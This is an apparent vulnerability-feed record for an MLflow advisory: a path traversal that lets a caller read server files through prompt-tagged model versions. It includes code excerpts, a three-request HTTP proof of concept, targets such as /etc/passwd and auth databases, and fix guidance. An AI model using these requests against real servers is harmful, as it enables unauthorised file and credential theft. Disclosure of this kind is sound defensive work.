{"id":"CVE-2026-116690","kind":"vulnerability","aliases":["CVE-2026-116690","GHSA-m65p-9j7q-6w33"],"related":[],"title":"MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source","description":"### Summary\nOn MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.\n\nThe fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch.\n\nServers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.\n\nAffected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be `true`.\n\n### Details\nWhen creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`.\n\n`mlflow/server/handlers.py:2674-2690`:\n```python\nis_prompt = _is_prompt_request(request_message)\nif is_prompt:\n    source = request_message.source\n    parsed = urllib.parse.urlparse(source)\n    if parsed.scheme == \"file\" or (parsed.scheme == \"\" and source.startswith(\"/\")):\n        raise MlflowException(...)\n    if parsed.scheme:\n        _validate_non_local_source_contains_relative_paths(source)\nelse:\n    if request_message.model_id:\n        _validate_source_model(request_message.source, request_message.model_id)\n    else:\n        _validate_source_run(request_message.source, request_message.run_id)\n```\nThe prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths.\n\nThe artifact-read sink later trusts the stored source:\n\n`mlflow/server/handlers.py:2765-2782`:\n```python\ndef get_model_version_artifact_handler():\n    name = request.args.get(\"name\")\n    version = request.args.get(\"version\")\n    path = request.args[\"path\"]\n    path = validate_path_is_safe(path)\n    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n    ...\n    else:\n        artifact_repo = get_artifact_repository(artifact_uri)\n        artifact_path = path\n\n    return _send_artifact(artifact_repo, artifact_path)\n```\n`_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`.\n\n### PoC\nPrerequisite: A reachable MLflow tracking server with model registry endpoints enabled.\n\n1. Create a sentinel file on the server:\n```bash\nprintf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt\n```\n\n2. Send the following requests to the MLflow server to exploit the traversal:\n\nFirst, create a registered model:\n```http\nPOST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\"name\": \"pwned-model\"}\n```\n\nNext, create a prompt-tagged model version with the malicious relative source `../../../tmp`:\n```http\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\n  \"name\": \"pwned-model\",\n  \"source\": \"../../../tmp\",\n  \"tags\": [{\"key\": \"mlflow.prompt.is_prompt\", \"value\": \"true\"}]\n}\n```\n\nFinally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter:\n```http\nGET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1\nHost: 127.0.0.1:5000\n```\nThis returns the contents of `/tmp/sentinel-mlflow.txt`. The same primitive can read sensitive files like `/etc/passwd` or tracking databases (e.g. `mlflow.db`).\n\n### Impact\nDirect impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:\n- `/etc/passwd`\n- SQLite tracking databases readable by the process (e.g., `mlflow-auth.db` or `basic_auth.db`)\n- Environment variables or configurations stored on disk\n- `/home/user/.bash_history`\n\nThreat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or \"read-only\" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.","summary":"MLflow, an open source AI engineering platform, accepts relative artifact paths for prompt model versions without path validation. A remote caller can point a model version at a file on the MLflow server and read it through the get-artifact API.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mlflow","fixed":["3.17.0"],"affected":">= 3.10.0, < 3.17.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-22","ml-platform","mlflow","python","self-hosted"],"not_affected_if":["no-shared-server","version-3.17.0-or-later"],"how_to_check":"- Run `mlflow --version` on each MLflow server and confirm it is below `3.17.0`\n- Check whether basic auth is enabled, since default unauthenticated servers are exposed without credentials","fix":"- Upgrade MLflow to `3.17.0` or later\n- Until upgraded, restrict network access to the MLflow tracking server","status":"open","published_at":"2026-10-27T20:17:14+00:00","first_seen_at":"2026-10-27T20:33:27+00:00","triaged_at":"2026-10-27T20:35:29+00:00","updated_at":"2026-10-27T21:29:43+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-10-27T20:35:29Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade MLflow to `3.17.0` or later\n- Until upgraded, restrict network access to the MLflow tracking server","reach":"internet","title":"MLflow: crafted prompt model versions let remote callers read server files","impact":"medium","summary":"MLflow, an open source AI engineering platform, accepts relative artifact paths for prompt model versions without path validation. A remote caller can point a model version at a file on the MLflow server and read it through the get-artifact API.","category":"ai-tooling","nicknames":[],"who_cares":["mlflow","self-hosted","python","ml-platform"],"confidence":0.8,"needs_auth":"unknown","worst_case":"remote callers read files the MLflow server process can access","analyst_note":"","how_to_check":"- Run `mlflow --version` on each MLflow server and confirm it is below `3.17.0`\n- Check whether basic auth is enabled, since default unauthenticated servers are exposed without credentials","needs_analyst":false,"not_affected_if":["version-3.17.0-or-later","no-shared-server"],"who_is_affected":"MLflow servers running versions from 3.10.0 up to but not including 3.17.0 are exposed, because the prompt branch of model version creation skips path validation for schemeless sources. Default unauthenticated deployments need no privileges at all, while basic-auth deployments need only a user who can create registered models. Teams running MLflow only from a local client without a shared server are not exposed.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000615,"input_tokens":3446,"output_tokens":540,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-116690':17A,25A '-2026':16A,24A,129C '-22':31B '-2614':130C '-2690':338C '-2782':427C '/../../tmp':569C,586C '/../etc':166C '/api/2.0/mlflow/model-versions/create':572C '/api/2.0/mlflow/registered-models/create':543C '/get-artifact':199C '/mlflow/mlflow/pull/25870),':290C '/tmp/sentinel-mlflow.txt':522C '1':508C '127.0.0.1':546C,575C '2':523C '25870':287C '2674':337C '2765':426C '3.10.0':132C,279C '3.16.1':281C '3.17.0':284C '5000':547C,576C '6w33':22A '9j7q':21A 'absolut':147C 'accept':47B,292C 'account':263C 'add':133C 'admin':274C 'affect':249C,277C 'ai':28B,44B 'ai-tool':27B 'also':216C,248C 'api':81B 'app':242C 'app-nam':241C 'application/json':551C,580C 'arbitrari':4A,102C,596C 'artifact':49B,80B,192C,417C,433C,450C,464C,467C,469C,471C,476C,477C,479C,482C,485C,600C 'artifact-read':416C 'artifact_repository.download':484C 'attack':99C 'auth':246C 'authent':89C,251C,270C 'bash':516C 'basic':245C 'basic-auth':244C 'branch':138C,238C,331C,393C 'call':396C,483C 'caller':60B 'carri':157C 'check':215C 'contain':370C,408C 'content':549C,578C 'content-typ':548C,577C 'creat':110C,254C,312C,333C,509C,537C,557C 'createmodelvers':141C 'cve':15A,23A,128C 'cwe':30B 'databas':271C 'def':429C 'default':93C 'detail':310C 'download':459C,601C 'drive':180C 'drive-lett':179C 'els':374C,384C,463C 'enabl':507C 'encod':174C 'endpoint':200C,506C,602C 'engin':45B 'exploit':533C 'fals':232C 'file':5A,68B,103C,203C,357C,492C,495C,512C,597C 'filenam':607C 'filesystem':108C 'final':593C 'first':536C 'fix':126C,282C 'follow':526C 'get':79B,430C,452C,456C,466C 'get-artifact':78B 'ghsa':19A 'ghsa-m65p-9j7q-6w33':18A 'github.com':289C 'github.com/mlflow/mlflow/pull/25870),':288C 'handl':327C 'handler':142C,434C 'hash':276C 'host':39B,545C,574C 'http':541C,570C 'http/1.1':544C,573C 'id':377C,383C,390C 'includ':272C 'key':217C,588C 'later':201C,420C 'letter':181C 'local':123C,368C,406C,491C 'locat':193C 'low':261C 'low-privileg':260C 'm65p':20A 'malici':566C 'messag':346C 'ml':33B 'ml-platform':32B 'mlflow':1A,26A,35B,40B,71B,84C,95C,278C,294C,500C,518C,530C 'mlflow.prompt.is':223C,318C,589C 'mlflow/mlflow':286C 'mlflow/server/handlers.py':336C,425C 'mlflowexcept':363C 'model':12A,53B,64B,112C,189C,197C,257C,314C,334C,380C,402C,431C,453C,457C,504C,540C,555C,562C,584C 'model-vers':196C 'name':170C,243C,435C,437C,461C,552C,581C 'next':556C 'non':367C,405C 'open':42B 'paramet':611C 'pars':352C 'parsed.scheme':356C,359C,365C 'password':275C 'path':50B,56B,124C,148C,151C,175C,182C,372C,410C,414C,441C,443C,444C,446C,449C,472C,473C,480C,486C,610C 'percent':173C 'percent-encod':172C 'placehold':297C 'plain':168C 'platform':34B,46B 'poc':496C 'point':62B 'post':542C,571C 'prerequisit':497C 'presenc':220C 'printf':517C 'privileg':208C,262C 'process':212C 'prompt':11A,52B,117C,136C,224C,300C,305C,319C,330C,341C,343C,349C,392C,560C,590C 'prompt-specif':135C 'prompt-tag':559C 'pwned':519C,554C,583C 'pwned-model':553C,582C 'python':36B,339C,428C 'rais':362C 'rather':226C 'reachabl':499C 'read':6A,74B,101C,268C,418C 'regist':256C,539C 'registri':454C,505C 'reject':144C 'relat':48B,169C,371C,409C,413C,567C 'remot':59B,98C 'repo':465C,478C 'report':521C 'repositori':468C 'request':325C,344C,345C,527C 'request.args':442C 'request.args.get':436C,439C 'request_message.model':376C,382C 'request_message.run':389C 'request_message.source':351C,381C,388C 'requir':303C 'result':490C 'retriev':594C 'return':474C 'run':87C,150C,387C,399C 'safe':448C 'scheme':160C 'schemeless':122C,162C,412C 'select':235C 'self':38B 'self-host':37B 'send':475C,481C,494C,524C 'sentinel':511C,520C 'serv':202C,488C 'server':9A,72B,86C,96C,106C,211C,239C,502C,515C,531C 'set':321C 'sink':419C 'sourc':14A,43B,119C,156C,298C,350C,354C,369C,373C,379C,386C,398C,401C,407C,424C,568C,585C 'source.startswith':361C 'specif':137C 'still':234C 'store':185C,423C,455C 'summari':82C 'suppli':604C 'tag':114C,214C,225C,306C,320C,561C,587C 'target':606C 'therefor':184C 'tool':29B 'track':85C,501C 'travers':535C 'true':309C,323C,592C 'trust':421C 'type':550C,579C 'unauthent':8A 'unchang':186C 'uri':145C,451C,460C,470C 'url':159C 'urllib.parse.urlparse':353C 'use':240C,265C 'user':252C 'valid':57B,152C,366C,378C,385C,397C,400C,404C,445C 'valu':163C,229C,233C,591C 'version':13A,54B,65B,113C,190C,198C,301C,315C,335C,432C,438C,440C,458C,462C,563C 'via':10A,598C 'vulner':2A 'weaker':237C 'whose':118C 'window':178C 'without':55B,88C","nicknames":[],"mitigations":[],"who_affected":"MLflow servers running versions from 3.10.0 up to but not including 3.17.0 are exposed, because the prompt branch of model version creation skips path validation for schemeless sources. Default unauthenticated deployments need no privileges at all, while basic-auth deployments need only a user who can create registered models. Teams running MLflow only from a local client without a shared server are not exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-27T20:17:14+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-116690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116690","severity":null,"published_at":"2026-10-27T20:17:14+00:00","modified_at":"2026-10-27T20:17:14+00:00","first_seen_at":"2026-10-27T20:33:27+00:00","fetched_at":"2026-10-27T20:33:27+00:00","note":null},{"source":"ghsa","external_id":"GHSA-m65p-9j7q-6w33","url":"https://github.com/advisories/GHSA-m65p-9j7q-6w33","severity":"high","published_at":"2026-10-27T21:26:56+00:00","modified_at":"2026-10-27T21:26:56+00:00","first_seen_at":"2026-10-27T21:29:43+00:00","fetched_at":"2026-10-27T21:39:56+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}